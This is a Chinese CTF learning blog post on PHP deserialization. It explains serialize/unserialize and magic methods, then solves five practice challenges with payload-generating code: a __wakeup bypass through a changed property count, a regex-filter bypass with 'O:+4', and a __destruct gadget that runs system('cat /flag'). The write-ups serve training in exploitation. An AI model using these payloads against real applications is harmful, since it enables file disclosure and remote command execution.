每日进步一点点(网安)
今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化
1.PHP序列化
序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储
在PHP中,可以使用serialize()函数将对象序列化为字符串,然后进行存储或者传输
2.PHP反序列化
反序列化就是将序列化后的数据转换为原来的对象,数据结构,变量的过程
在PHP中,可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据
3.魔法函数
在PHP中,魔法函数是指的是特定的函数,名称以两个下划线开始命名的
下面是一些常见的魔法函数
__construct :类的构造函数,在对象被创建时自动调用
__destruct :类的析构函数,在对象被销毁时自动调用
__get :当调用一个不存在的属性时自动调用
__set :当给一个不存在的属性赋值时自动调用
__call : 当调用一个不存在的方法时调用
__toString : 当对象被转换为字符串时自动调用
__sleep : 当对象被序列化时自动调用
__wakeup : 当对象被反序列化时自动调用
4.例题
4.1[攻防世界——unserialize3]

看这串代码,显示出来不是一个完整的PHP代码(括号没有完全闭合)
开始分析:
__wakeup()函数,看到这个函数,就会想到反序列化,对于上述代码中的xctf类中,有一个flag变量和__wakeup函数方法,当一个xtcf对象被序列化为字符串后,再次反序列化该字符串(wakeup方法的调用),就会重建该对象(xctf)
题目没有给出序列化,则需要我们自己生成出,然后给code传参
<?php
class xctf{public $flag = '111';public function __wakeup(){ exit('bad requests'); }
}
$a= new xctf();
echo(serialize($a));
?>
//上述代码就可以生成xctf的序列化字符串
序列化输出结果为:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
分析可知,当把序列化结果传参时,执行到wakeup方法就会成功反序列化,则打印“bad request” ,无法得到flag
所以就得绕过这个反序列化的操作,就是不能正确的将字符串反序列化
接下来就分析一下序列化结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:表示被序列化的是一个对象
4:表示对象名 xctf 有4个字符
"xctf":表示对象的名称为 xctf
1:表示该对象只有一个属性
{}:表示该对象的属性列表为空
s:表示属性类型为字符串
4:表示属性名 flag 有4个字符
"flag":表示属性名为 flag
s:表示属性类型为字符串
3:表示属性值 111 有3个字符
"111":表示属性值为 111
这里的漏洞就是修改对象属性的个数,因为当序列化中的属性个数比实际代码中的属性个数大时,就不会执行wakeup方法,从而就可以使其报错,出flag!
改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
get传参:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
这道题顺利解出!
4.2[攻防世界——Web_php_unserialize]
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
上述代码,使用了php反序列化,可以通过$var来控制unserialize()的变量,所以漏洞在反序列化这里
分析源码,可以看出,需要绕过__wakeup()方法和正则匹配,才可以高亮显示出fl4g.php文件
第一部:绕过__wakeup()方法
和上一题一样,先生成出序列化字符串,然后改变里面的属性个数,进行绕过

第二步:绕过正则匹配
![]()
就是绕过preg_match('/[oc]:\d+:/i')对照上面的序列化字符串
分析:
[oc]:表示出现字符O或者C
\d+:表示匹配一个或者多个数字(d代表数字)
/i:表示不区分大小写
绕过原理:
1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号,然后是一个或多个数字,再跟一个冒号。
2.在 O:+4: 中,虽然 + 不是一个数字,但 PHP 在处理反序列化时,对于对象长度的解析会将 + 当作数字处理。因为在序列化字符串中,对象的表示形式通常是 O:对象名称长度:对象名称。当使用 + 时,PHP 会将其解释为一个较大的正数。
同时,由于原正则表达式没有考虑 + 符号,所以 O:+4: 不会被 /[oc]:\d+:/i 匹配,从而绕过了该正则表达式的检查。
//后面的执行代码
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//绕过反序列化
$a=str_replace('O:4','O:+4',$a);//绕过正则
var_dump($a);//替换后的结果
var_dump(base64_encode($a));//输出base64编码结果

注意:这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。
然后get传参得到flag
4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize]

可以看出这是一道序列化题目,利用__destruct()方法在销毁对象时自动调用来执行预定义函数,实现命令注入
分析代码,$a=$this->lt;$a($this->lly);这个意思就是$this->lt赋值给a,$this->lly作为参数传递给代表a的函数,就可以合并为lt(lly)
所以我们就可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将执行的代码传递给$lly,当对象序列化后再被反序列化,就是对象被销毁的时候,自动调用__destruct()函数,从而执行绕过操作
只需要把a变成system(),把lly变成flag或者cat即可
system(cat/flag);
进行构造代码
<?php
class lyh{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}$demo = new lyh();
echo serialize($demo);
?>
//运行结果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
然后进行post传参,得到flag
4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

分析代码, 有__wakeup()方法,绕过该魔术方法即可
代码中告诉我们,flag在f111111ag.php中,所以创建对象时,把flag文件作为参数传进去
构造
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>
生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
然后get传参得到flag

4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

打开题目发现没有东西,然后就下意识查看源码

发现有disallow,就会想到Robots协议,就可以看看robots.txt
robots.txt 文件是一个纯文本文件,用于告诉搜索引擎爬虫哪些 URL 可以访问,哪些不能访问。它主要用于管理爬虫流量,防止服务器被过多的请求压垮

看到有/cl45s.php直接打开,显示php代码

分析代码,可以看到,对象销毁时调用__destrcut()方法,而flag就在这个方法中,只需要满足方法中的if语句 ,就可以得到flag,但是这里面如何改admin和passwd变量的值呢?就需要构造一下,将”admin“赋值给admin,”ctf“赋值给passwd即可,然后进行创建对象,再打印序列化后的字符串
<?php
class wllm{public $admin="admin";public $passwd="ctf";}
$demo=new wllm();
echo(serialize($demo));
?>
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
然后get传参,得到flag

相关文章:
每日进步一点点(网安)
今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化 1.PHP序列化 序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储 在PHP中&…...
宝塔php7.4安装报错,无法安装,php8以上可以安装,以下的不行,gd库什么的都正常
宝塔的依赖问题导致的问题,最后手动挂载后才解决。。。废了三天三夜终于搞好了。。。。无语~ 建议:不要一直升级宝塔版本,升级前备份或者开服务商的实例镜像,方便恢复,不然,可就GG了࿵…...
SDL2:PC端编译使用
SDL2:PC端编译使用 1. SDL2:PC端编译使用1.1 安装必要的依赖1.2 下载编译SDL21.3 SDL2使用示例:Audio1.4 运行示例程序 1. SDL2:PC端编译使用 1.1 安装必要的依赖 首先,确保安装了编译SDL2所需的依赖库: …...
Windows 蓝牙驱动开发-蓝牙设备栈
蓝牙设备栈 蓝牙驱动程序堆栈包含 Microsoft 为蓝牙协议提供支持的核心部分。 有了这个堆栈,已启用蓝牙的设备可以彼此定位并建立连接。 在此类连接中,设备可以通过各种应用程序交换数据并彼此交互。 下图显示了蓝牙驱动程序堆栈中的模块,以…...
docker一张图理解
1、push 将本地的镜像上传到镜像仓库,要先登陆到镜像仓库。参数说明: –disable-content-trust : 忽略镜像的校验,默认开启 # 上传本地镜像myapache:v1到镜像仓库中。 docker push myapache:v1 1.2、search 从Docker Hub查找镜像。参数说明: –…...
RocketMQ、Kafka、RabbitMQ,如何选型?
如何根据应用场景选择合适的消息中间件? 分布式、微服务、高并发架构中,消息队列(Message Queue,简称MQ)扮演着至关重要的角色。 消息队列用于实现系统间的异步通信、解耦、削峰填谷等功能。 目前常见的MQ实现包括RabbitMQ、Rock…...
RabbitMQ故障全解析:消费、消息及日常报错处理与集群修复
文章目录 前言:1 消费慢2 消息丢失3 消息重复消费4 日常报错及解决4.1 报错“error in config file “/etc/rabbitmq/rabbitmq.config” (none): no ending found”4.2 生产者发送消息报错4.3 浏览器打开IP地址,无法访问 RabbitMQ(白屏没有结…...
无公网IP 实现外网访问本地 Docker 部署 Navidrome
Navidrome 是一款可以在 macOS、Linux、Windows以及 Docker 等平台上运行的跨平台开源音乐服务器应用,它支持传输常见的 MP3、FLAC、WAV等音频格式。允许用户通过 Web 界面或 API 进行音乐库的管理和访问。本文就介绍如何快速在 Linux 系统使用 Docker 进行本地部署…...
pnpm add 和 pnpm install 的区别?
文章目录 1. pnpm add2. pnpm install3. 总结应用场景示例 在使用 pnpm 管理项目依赖时, pnpm add 和 pnpm install 是两个常用的命令,但它们的功能和使用场景有所不同。以下是详细的解释: 1. pnpm add 功能:用于向项目的 pack…...
Linux:文件描述符fd、系统调用open
目录 一、文件基础认识 二、C语言操作文件的接口 1.> 和 >> 2.理解“当前路径” 三、相关系统调用 1.open 2.文件描述符 3.一切皆文件 4.再次理解重定向 一、文件基础认识 文件 内容 属性。换句话说,如果在电脑上新建了一个空白文档࿰…...
CPU负载与CPU使用率之区别
在日常的性能测试与系统监控中,CPU负载和CPU使用率是两个常见的指标,它们经常被提及,但也经常被混淆。本文将为你深入解析两者的区别,以及它们各自的意义和应用场景,让你更清楚地掌握这些关键性能指标。 存储、内存和 …...
C++实现设计模式---外观模式 (Facade)
外观模式 (Facade) 外观模式 是一种结构型设计模式,为子系统中的一组接口提供一个一致的界面。外观模式定义了一个更高层次的接口,使得子系统更容易使用。 意图 简化复杂子系统的接口。为客户端提供一个统一的入口,屏蔽子系统的内部细节。 …...
仿射密码实验——Python实现(完整解析版)
文章目录 前言实验内容实验操作步骤1.编写主程序2.编写加密模块3.编写解密模块4.编写文件加解密模块 实验结果实验心得实验源码scirpt.pyusefile.py 前言 实验目的 1)初步了解古典密码 2)掌握仿射密码的实现 实验方法 根据下图仿射密码(变换…...
【Qt 常用控件】按钮类(QPushButton、QRadioButton、QCheckBox)
按钮控件继承自抽象类QAbstractButton。 抽象类不允许实例化对象,内部定义纯虚函数。只能通过子类继承,重写纯虚函数的方式使用。 1. QPushButton 1.1 QAbstractButton中和QPushButton相关的属性 text按钮显示文本icon按钮图标iconSize按钮图标尺寸s…...
Amazon Relational Database Service (RDS)
Amazon Relational Database Service (RDS) 是 AWS 提供的一项完全托管的关系数据库服务,旨在简化部署、管理和扩展关系型数据库应用程序。通过 RDS,用户可以使用多种流行的关系数据库引擎,如 MySQL、PostgreSQL、MariaDB、Oracle 和 Microso…...
linux分配磁盘空间命令
使用命令lsblk查询linux磁盘空间时,发现空间并没有被分配完 如图,600G,但实际分配了一共199G,剩余500G,我们需要通过命令进行剩余存储的分配。 思路:创建新的分区->更新内核分区表->初始化新分区作…...
21_Spring Boot缓存注解介绍
前面我们通过使用@EnableCaching、@Cacheable注解实现了Spring Boot默认的基于注解的缓存管理,除此之外,还有更多的缓存注解以及注解属性可以配置优化缓存管理。下面我们针对Spring Boot中的缓存注解及相关属性进行详细讲解。 1.@EnableCaching注解 @EnableCaching是由Spri…...
【linux】grep、awk、sed实战练习(1)-template
一、grep常见用法 1.1.从文件中查找关键字符串 # 比如:查找/etc/nginx/nginx.conf文件包含"listen"的行 [rootecs_server test]# grep "listen" -n /etc/nginx/nginx.conf 52: listen 8088; 87: listen 8096; # 比如:查…...
UDP报文格式
UDP是传输层的一个重要协议,他的特性有面向数据报、无连接、不可靠传输、全双工。 下面是UDP报文格式: 1,报头 UDP的报头长度位8个字节,包含源端口、目的端口、长度和校验和,其中每个属性均为两个字节。报头格式为二…...
联想Android面试题及参考答案
请介绍一下 Android 的架构,并谈谈对 Linux 的了解。 Android 架构主要分为四层,从下往上依次是 Linux 内核层、系统运行库层、应用框架层和应用层。 Linux 内核层是 Android 系统的基础。它提供了底层的硬件驱动程序,包括显示驱动、摄像头驱动、音频驱动等多种硬件设备的驱…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...
学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
多模态图像修复系统:基于深度学习的图片修复实现
多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

